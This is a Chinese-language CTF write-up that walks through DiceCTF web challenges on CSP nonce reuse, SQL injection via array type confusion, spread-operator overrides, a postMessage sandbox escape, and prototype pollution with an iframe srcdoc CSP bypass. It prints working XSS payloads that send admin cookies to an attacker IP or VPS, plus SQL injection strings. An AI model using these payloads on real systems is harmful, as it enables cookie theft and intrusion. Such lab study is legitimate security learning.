前言 这场比赛web题偏nodejs,难度也还比较友好,题目类型还是一贯的外国比赛的风格,这里复盘记录一下web题目。
比赛地址:https://ctf.dicega.ng/challs
Babier CSP 给了题目源码、admin bot和一个可访问的页面,该页面可以点击链接,URL中有name
字段
index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 const express = require ('express' );const crypto = require ("crypto" );const config = require ("./config.js" );const app = express()const port = process.env.port || 3000 ;const SECRET = config.secret;const NONCE = crypto.randomBytes(16 ).toString('base64' );const template = name => ` <html> ${name === '' ? '' : `<h1>${name} </h1>` } <a href='#' id=elem>View Fruit</a> <script nonce=${NONCE} > elem.onclick = () => { location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]); } </script> </html> ` ; app.get('/' , (req, res ) => { res.setHeader("Content-Security-Policy" , `default-src none; script-src 'nonce-${NONCE} ';` ); res.send(template(req.query.name || "" )); }) app.use('/' + SECRET, express.static(__dirname + "/secret" )); app.listen(port, () => { console .log(`Example app listening at http://localhost:${port} ` ) });
nonce 简单读一下源码可以发现其中设置了csp
1 Content-Security-Policy: default-src none; script-src 'nonce-${NONCE}';
这里设置的script-src
,正常情况下,服务器应该每次请求返回一个独一无二的nonce来保证嵌入的js代码无法执行,但这里注意到代码逻辑里生成nonce的crypto.randomBytes(16).toString('base64')
,其在一开始起服务器的时候会成一个nonce,但这个nonce是固定的,不会随着刷新页面而改变。正常的代码应该把它放到路由里
1 2 3 4 5 app.get('/' , (req, res ) => { const NONCE = crypto.randomBytes(16 ).toString('base64' ); res.setHeader("Content-Security-Policy" , `default-src none; script-src 'nonce-${NONCE} ';` ); res.send(template(req.query.name || "" )); })
所以可以执行任意js
利用 题目说了要获取admin的cookie,那直接xss外带就好了,常见的外带cookie的方式有很多,在csp绕过里也经常利用。这里最简单的location.href
就可以了
payload
1 https://babier-csp.dicec.tf/?name=<script nonce='IwUpdL4Cz+kFdyb8AK1qcQ==' >window.location.href=`http://101.132.159.30:8888?c=${document.cookie}`</script>
注意URL编码
得到的secret访问一下即可得到flag
Missing Flavortext index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 const crypto = require ('crypto' );const db = require ('better-sqlite3' )('db.sqlite3' )db.exec(`DROP TABLE IF EXISTS users;` ); db.exec(`CREATE TABLE users( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT );` );db.exec(`INSERT INTO users (username, password) VALUES ( 'admin', '${crypto.randomBytes(16 ).toString('hex' )} ' )` );const express = require ('express' );const bodyParser = require ('body-parser' );const app = express();app.use(bodyParser.urlencoded({ extended : true })); app.use(express.static('static' )); app.post('/login' , (req, res ) => { if (!req.body.username || !req.body.password) { return res.redirect('/' ); } if ([req.body.username, req.body.password].some(v => v.includes('\'' ))) { return res.redirect('/' ); } const query = `SELECT id FROM users WHERE username = '${req.body.username} ' AND password = '${req.body.password} ' ` ; let id; try { id = db.prepare(query).get().id } catch { return res.redirect('/' ); } if (id) return res.sendFile('flag.html' , { root : __dirname }); return res.redirect('/' ); }); app.listen(3000 );
sqlite3的,有登录功能,重点关注
1 2 3 4 const query = `SELECT id FROM users WHERE username = '${req.body.username} ' AND password = '${req.body.password} ' ` ;
这里是直接拼接进去的,显然存在sql注入,但是
1 2 3 if ([req.body.username, req.body.password].some(v => v.includes('\'' ))) { return res.redirect('/' ); }
这里过滤了的逻辑是在username和password中如果出现了单引号,就会被waf。如果没有单引号拼接的话基本上没办法注入,闭合不了引号,sql语句不会起作用。如果可以用引号的话
1 2 username=admin' or '1'='1&password=any username=admin' or 1=1--+&password=any
都可以成功绕过登录。因此我们要绕过[req.body.username, req.body.password].some(v => v.includes('\'')
的过滤。
数组绕过 这一层过滤很显然其逻辑是把req.body.username
和req.body.passward
当做字符串来处理其中的危险字符,我们再看看前面
1 2 3 4 app.post('/login' , (req, res ) => { if (!req.body.username || !req.body.password) { return res.redirect('/' ); }
这里仅判断了这两个字段是否非空,没有做类型的过滤 ,这里就很敏感了。要知道,nodejs和php有类似的地方,其中存在许多类型混淆来绕过的地方。因此想到用数组来绕过,在php的许多绕过方式中,url中的数组绕过有奇效。比如弱类型,数组导致某些匹配函数(strcmp)报错为false来绕过。本地测试一下
1 2 3 4 5 6 7 8 9 10 11 var username = [`admin' or '1'='1`]; var password = 'any'; const query = `SELECT id FROM users WHERE username = '${username}' AND password = '${password}' `; if ([username, password].some(v => v.includes('\''))) { //过滤单引 console.log('no') }else{ console.log(query) }
payload
1 username[]=admin' or '1'='1&password=any
Web Utils 这道题的界面是两个小工具,当然还有admin bot,和前面的题一样,我们需要xss来窃取admin的cookie才能得到flag
Pastebin:输入内容,生成一个URL,访问该URL会回显刚刚输入的内容
Link Shortener:将一个URL1变成另一个URL2,然后访问URL2会跳转到访问URL1
一开始想是否既然Pastebin能直接回显内容,那我们在内容里写<script>alert(1);</script>
,然后让admin去访问会不会直接出发xss,但是实际上,这段js代码没有被解析。题目给了源码,我们可以定位到view.html上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <!doctype html> <html> <head> <script async > (async () => { const id = window .location.pathname.split('/' )[2 ]; if (! id) window .location = window .origin; const res = await fetch(`${window .origin} /api/data/${id} ` ); const { data, type } = await res.json(); if (! data || ! type ) window .location = window .origin; if (type === 'link' ) return window .location = data; if (document .readyState !== "complete" ) await new Promise ((r ) => { window .addEventListener('load' , r); }); document .title = 'Paste' ; document .querySelector('div' ).textContent = data; })() </script> </head> <body> <div style="font-family: monospace" ></div> </bod> </html>
代码逻辑大致是这样
id(就是view/:id
)不为空,否则跳转会根目录
获取res,判断res的类型:
res 为 link,则跳转到data这个URL处,也就是Link Shortener功能中我们输入的URL。
不为link那就是paste了,这里通过document.querySelector('div').textContent
来输出内容,这里的textContent仅仅只能修改内容,但不会被解析为js语句
注意到敏感语句
这里的data假设是无任何过滤可控的,那么
1 window.location = "javascript:alert(1);"
可以执行xss。但不巧的是data被过滤了,下文有说。
展开语法和剩余参数
展开语法
剩余参数
在解题之前,我们需要了解js的展开语法(...
),有点类似于语法糖。
展开语法(Spread syntax), 可以在函数调用/数组构造时, 将数组表达式或者string在语法层面展开;还可以在构造字面量对象时, 将对象表达式按key-value的方式展开。(译者注 : 字面量一般指 [1, 2, 3]
或者 {name: "mdn"}
这种简洁的构造方式)
简单举几个例子
1.展开数组
还以用于数组拷贝、连接、头插等
1 2 3 var parts = ['shoulders' , 'knees' ];var lyrics = ['head' , ...parts, 'and' , 'toes' ];
2.展开对象
1 2 3 4 5 6 7 8 var obj1 = { foo : 'bar' , x : 42 };var obj2 = { foo : 'baz' , y : 13 };var clonedObj = { ...obj1 };var mergedObj = { ...obj1, ...obj2 };
注意这里的mergedObj,在obj1和obj2中都有属性foo
,但是后一个会覆盖前一个的相同属性。
剩余参数和展开语法的作用前缀都是...
,但二者的应用场景不同,剩余参数在函数定义的参数中使用,用于参数的封装,而展开语法可以在除函数外的其他地方使用,如果应用于传参,那么其相当于将一个变量解封装后作为函数的参数,然后剩余参数机制又将函数参数封装起来传进函数内部进行相应的赋值等操作。
3.例子
1 2 3 4 5 6 7 8 9 sum = ({type, uid, data} ) => { console .log(type); console .log(data); console .log(uid); }; uid = 123456 ; change = {type : 'link' , data : 'any' , uid : 123 }; sum({type : 'paste' , ...change, uid}); sum({type : 'paste' , uid, ...change});
1 2 3 4 5 6 7 8 9 var obj1 = { foo: 'bar', x: 42 }; var obj2 = { foo: 'baz', y: 13 }; const merge = ( ...objects ) => { return {...objects} }; var mergedObj = merge ( obj1, obj2); // Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } } var b = {...[obj1, obj2]}; console.log(mergedObj); console.log(b); // mergedObj的获取过程可以理解为b,但是这两个不一样
展开语法覆盖参数 了解上面的特性后,仔细审计api.js后可以发现
api.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 const database = require ('../modules/database' );module .exports = async (fastify) => { fastify.post('createLink' , { handler: (req, rep ) => { const uid = database.generateUid(8 ); const regex = new RegExp ('^https?://' ); if (! regex.test(req.body.data)) return rep .code(200 ) .header('Content-Type' , 'application/json; charset=utf-8' ) .send({ statusCode: 200 , error: 'Invalid URL' }); database.addData({ type : 'link' , ...req.body, uid }); rep .code(200 ) .header('Content-Type' , 'application/json; charset=utf-8' ) .send({ statusCode: 200 , data: uid }); }, schema: { body: { type: 'object' , required: ['data' ], properties: { data: { type : 'string' } } } } }); fastify.post('createPaste' , { handler: (req, rep ) => { const uid = database.generateUid(8 ); database.addData({ type : 'paste' , ...req.body, uid }); rep .code(200 ) .header('Content-Type' , 'application/json; charset=utf-8' ) .send({ statusCode: 200 , data: uid }); }, schema: { body: { type: 'object' , required: ['data' ], properties: { data: { type : 'string' } } } } }); fastify.get('data/:uid' , { handler: (req, rep ) => { if (!req.params.uid) { return ; } const { data, type } = database.getData({ uid : req.params.uid }); if (!data || !type) { return rep .code(200 ) .header('Content-Type' , 'application/json; charset=utf-8' ) .send({ statusCode: 200 , error: 'URL not found' , }); } rep .code(200 ) .header('Content-Type' , 'application/json; charset=utf-8' ) .send({ statusCode: 200 , data, type }); } }); }
上面说到如果data没有被过滤并且res得到的类型是link的话,我们便可以执行xss。但是注意到createLink
路由中正则过滤了URL
1 const regex = new RegExp ('^https?://' );
但是发现createPaste
路由里没有过滤,而且存在...req.body
的展开语法,因此思路就很清晰了
1 2 3 4 { "data":"javascript:window.location=`http://YOUR_VPS/?c=${document.cookie}`", "type":"link" }
回显里得到的data拼接URL,把URL拿给admin访问即可(复现半路的时候题目环境关了qaq)
Web Ide 题目给了一个可以执行js代码的页面(在沙盒里),并且给出了题目源码index.js
和在/ide
路由中发现的sandbox.js
在index.js中很容易发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 app.post('/ide/login' , (req, res ) => { const { user, password } = req.body; switch (user) { case 'guest' : return res.cookie('token' , 'guest' , { path: '/ide' , sameSite: 'none' , secure: true }).redirect('/ide/' ); case 'admin' : if (password === adminPassword) return res.cookie('token' , `dice{${process.env.FLAG} }` , { path: '/ide' , sameSite: 'none' , secure: true }).redirect('/ide/' ); break ; } res.status(401 ).end(); });
因此还是一样,我们需要窃取Admin的cookie,并且我们登陆执行js代码的身份是guest。这里还设置了cookie的一些属性,稍微分析一下:
secure: true
:在https下才能发送cookie
获取Function 在执行js代码的页面,首先肯定要尝试得到Function
的构造器,因此这里尝试
1 [].constructor.constructor
成功得到了ƒ Function() { [native code] }
,因此我们可以通过以下形式执行任意代码
1 [].constructor.constructor(`eval('alert(1)')`)()
但是直接尝试通过当前页面读取document.cookie
肯定是不行的,因为admin的cookie存储admin的浏览器中,并且cookie的可见域为/ide
,我们是以guest的身份访问的这个网页,由于以上同源策略的限制,无法获取
Bypass CSP 注意到index.js中的一段代码
1 2 3 4 5 6 7 8 9 10 11 12 app.use('/' , (req, res, next ) => { res.setHeader('X-Frame-Options' , 'DENY' ); return next(); }); app.use('/sandbox.html' , (req, res, next ) => { res.setHeader('Content-Security-Policy' , 'frame-src \'none\'' ); res.removeHeader('X-Frame-Options' ); return next(); });
也就是说/sandbox.html
页面是能够被其他页面的iframe嵌入进来的,因此我们可以构造一个页面,嵌入sandbox.html
,然后通过postMessage向子窗传送数据(要执行的js代码)。构造的页面内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <body > <iframe src ="https://web-ide.dicec.tf/sandbox.html" width ="800" height ="400" > </iframe > <script > let xss = `console.log(window.location)` , payload = `[].constructor.constructor('eval(${xss} )')()` , frame = document .querySelector("iframe" ); frame.addEventListener("load" , function (e ) { console .log("loaded" ) frame.contentWindow.postMessage(payload, '*' ); }); </script > </body >
把该页面放到vps的服务器上。尝试访问了该页面,成功再控制台打印出window.location
但是由于cookie的可见域是/ide
,所以我们还要在利用js来打开并控制/ide
页面的窗口句柄,稍微修改一下代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <body > <iframe src ="https://web-ide.dicec.tf/sandbox.html" width ="800" height ="400" > </iframe > <script > xss = btoa(`eval("const win = window.open('/ide');()=>{window.location.href='http://YOUR_VPS/?c='+win.document.cookie}")` ); payload = `[].constructor.constructor("eval(atob('${xss} '))")()` ; frame = document .querySelector("iframe" ); frame.addEventListener("load" , function (e ) { console .log("loaded" ) frame.contentWindow.postMessage(payload, '*' ); }); </script > </body >
让Admin bot访问上述页面即可在vps中的得到flag
Build A Panel 首先看到这题的CSP以及document.cookie的设置
1 Content-Security-Policy: default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/
1 2 3 res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'lax'}); ... res.cookie('token', secret_token, {maxage: 10800, httponly: true, sameSite: 'lax'});
注意到这里的cookie是lax
设置的,意味着我们可以通过合法的顶级跳转在第三方网站间发送cookie。并且审计发现flag是插入到数据库中了,因此可以知道这题可能需要我们sql注入得到flag
审计前几段sql注入语句发现都是?
的预编译,但是下面一处是拼接的sql语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 app.get('/admin/debug/add_widget' , async (req, res) => { const cookies = req.cookies; const queryParams = req.query; if (cookies['token' ] && cookies['token' ] == secret_token){ query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid' ]} ', '${queryParams['wigetname' ]} ', '${queryParams['widgetdata' ]} ');` ; db.run(query, (err ) => { if (err){ console .log(err); res.send('something went wrong' ); }else { res.send('success!' ); } }); }else { res.redirect('/' ); } });
sql注入点 上面的注入操作需要admin的token才能操作,这一处显然是存在sql注入的,可以插入
1 panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8',(SELECT+flag+from+flag),'{"type"%3a"sss"}')%3b--&widgetname=1&widgetdata=1
拼接之后就是
1 INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('54edc7c7-d693-4405-8c13-41aa90bd26a8',(SELECT flag from flag),'{"type":"sss"}');--', '1', '1');
要想插入这段数据,需要/admin/debug/add_widget
路由,该路由需要admin token,因此我们要提交如下页面给admin bot
1 https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8',(SELECT+flag+from+flag),'{"type"%3a"sss"}')%3b--&widgetname=1&widgetdata=1
sameSite: lax 由于这题的admin cookie的sameSite为lax
,试想一下admin bot访问我们提交链接的逻辑,也就是相当于admin在某个页面点击了某链接,该链接是我们提交的链接。并且,在admin点击该链接时,admin的cookie必须一同发送给/admin/debug/add_widget
才能完成验证。这刚好符合lax
的要求(通过合法的顶级跳转,这里指点击链接之类的操作,才会发送cookie),所以这题就迎刃而解了。将构造好的链接提交给admin bot访问。admin会以我们提交的panelid的身份查询出flag并插入相应的地方。
然后我们返回本地的/panel
即可得到flag。或者带着panelId = xxx
访问/panel/widgets
也可以得到flag
Build A Better Panel 这题是上一题的进阶版,diff一下可以发现仅有一处改变
也就是cookie的sameSite属性由lax换成了strict,意味着只有同源(first-party)的页面才传送cookie,其他跨站点的页面均不会发送cookie。除此之外没有其他改变,因此我们要发掘其他的利用点。
仔细审计一下发现几个可能存在原型链污染的地方
server.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 app.post('/panel/widgets' , (req, res ) => { const cookies = req.cookies; if (cookies['panelId' ]){ const panelId = cookies['panelId' ]; query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?` ; db.all(query, [panelId], (err, rows ) => { if (!err){ let panelWidgets = {}; for (let row of rows){ try { panelWidgets[row['widgetname' ]] = JSON .parse(row['widgetdata' ]); }catch { } } res.json(panelWidgets); }else { res.send('something went wrong' ); } }); } }); app.post('/panel/add' , (req, res ) => { const cookies = req.cookies; const body = req.body; if (cookies['panelId' ] && body['widgetName' ] && body['widgetData' ]){ query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)` ; db.run(query, [cookies['panelId' ], body['widgetName' ], body['widgetData' ]], (err ) => { if (err){ res.send('something went wrong' ); }else { res.send('success!' ); } }); }else { console .log(cookies); console .log(body); res.send('something went wrong' ); } });
submit.js
在Edit页面下的submit对应着该段代码
1 2 3 4 5 6 7 8 fetch('/panel/add' , { method: 'post' , credentials: 'same-origin' , headers: { 'Content-Type' : 'application/json' }, body: JSON .stringify(addData) });
custom.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const safeDeepMerge = (target, source ) => { for (const key in source) { if (!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){ if (key !== '__proto__' ){ safeDeepMerge(target[key], source[key]); } }else { target[key] = source[key]; } } } const displayWidgets = async () => { const userWidgets = await (await fetch('/panel/widgets' , {method : 'post' , credentials : 'same-origin' })).json(); let toDisplayWidgets = {'welcome back to build a panel!' : {'type' : 'welcome' }}; safeDeepMerge(toDisplayWidgets, userWidgets); ... }
原型链污染 分析一下上面几段代码
/panel/add
路由接收传入的参数,实现的是数据库的插入功能,与之对应的fetch
post了json的数据
/panel/widgets
路由通过panelID查询相应的widgetname\widgetdata
,注意到
1 2 let panelWidgets = {}; panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
先接着往下看到cumtom.js的一段,很明显,safeDeepMerge
存在原型链污染,但是key !== '__proto__'
做了过滤,绕过办法是采用Object.prototype
,这里的source
是userWidgets
,而userWidgets
是由/panel/widgets
路由res.json(panelWidgets)
得到的
注意几个等价关系obj.constructor.prototype == Object.prototype
因此我们可以向add post传入
1 2 3 4 { "widgetName" : "constructor" , "widgetData" : "{\"prototype\":{\"onload\":\"alert(1)\"}}" }
然后/panel
访问一下,在控制台内任意创建一个对象obj,输出obj.onload,成功原型链污染。但是alert(1)
并不能执行,因为存在如下CSP的限制
1 Content-Security-Policy: default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/
script-src 'self'
只允许执行同源的脚本。
回想一下上一题我们的目的是通过注入从而得到flag,这一题的情景最终也是需要注入才能得到flag。而注入我们只需要发送
1 https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8'%2C%20(select%20flag%20from%20flag)%2C%20'1')%3B--&widgetname=1&widgetdata=1
srcdoc bypass CSP 因此我们只需要寻找可以发送请求的方式就可以绕过CSP了。由于js代码无法执行,没法通过location这类的方法来发送请求,并且default-src 'none'
限制了iframe.src
但是iframe的属性比较多,搜一下手册就可以发现iframe.srcdoc
属性,该属性会把srcdoc的值嵌入到iframe页面的document中,也就是说iframe.srcdoc='<p>hah</p>'
,可以在iframe页面的document中发现<p>hah</p>
,这个属性拓宽了我们的攻击面,我们只需要寻找可以发送请求的标签,然后用iframe.srcdoc嵌入即可发送请求。
这里找的是<link>
标签,或者带有src
或href
属性的标签都可以发送请求并且绕过csp的url限制(因为我们请求的url同源),最终还是要由admin去访问触发的,可以构造
1 <link rel =stylesheet href ="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8'%2C%20(select%20flag%20from%20flag)%2C%20'1')%3B--&widgetname=1&widgetdata=1" > </link >
除以上外,注意到这题不一样的地方是还提供了admin bot,并且限定了提交的URL
NOTE: The admin will only visit sites that match the following regex ^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$
看一下对应的/create
路由
1 2 3 4 5 6 7 8 9 10 11 12 app.get('/create' , (req, res ) => { const cookies = req.cookies; const queryParams = req.query; if (!cookies['panelId' ]){ const newPanelId = queryParams['debugid' ] || uuidv4(); res.cookie('panelId' , newPanelId, {maxage : 10800 , httponly : true , sameSite : 'strict' }); } res.redirect('/panel/' ); });
这里很明显一个queryParams['debugid']
,提交该debugid参数后,admin的panelID可以设置为我们的panelID,所以我们只需要传入/create?debugid=YOUR_panelId
即可
所以完整的思路:
1.先用JSON.stringify()构造payload,好处是不用手动转义双引号
1 2 3 4 5 6 7 8 9 10 11 console .log( JSON .stringify({ widgetName: 'constructor' , widgetData: JSON .stringify({ prototype: { srcdoc: `<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8'%2C%20(select%20flag%20from%20flag)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>` } }) })) {"widgetName" :"constructor" ,"widgetData" :"{\"prototype\":{\"srcdoc\":\"<link rel=stylesheet href=\\\"https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=54edc7c7-d693-4405-8c13-41aa90bd26a8'%2C%20(select%20flag%20from%20flag)%2C%20'1')%3B--&widgetname=1&widgetdata=1\\\"></link>\"}}" }
2.生成的json发送给/panel/add
路由,此时window.frames.srcdoc已经注入了我们构造的内容。
3.题目限定了admin bot可访问的URL为http://xxx/create?debugid=panelID
4.admin访问后,本地回到/panel
即可得到flag
Conclusion 这次的题目难度还是比较友好的,重点考察了nodejs的代码审计以及关于csp相关的绕过知识。学到了不少新姿势,尤其是用iframe的srcdoc来注入存储型标签让admin访问从而触发请求。其次是一些nodejs的语法特性,时不时翻翻文档看看特性还是蛮不错的。
参考
https://www.anquanke.com/post/id/231421#h2-5
https://www.anquanke.com/post/id/231508#h2-19
https://www.secpulse.com/archives/128882.html
http://blog.zeddyu.info/2019/03/14/Web%E5%AE%89%E5%85%A8%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B-XSS-III/#iframe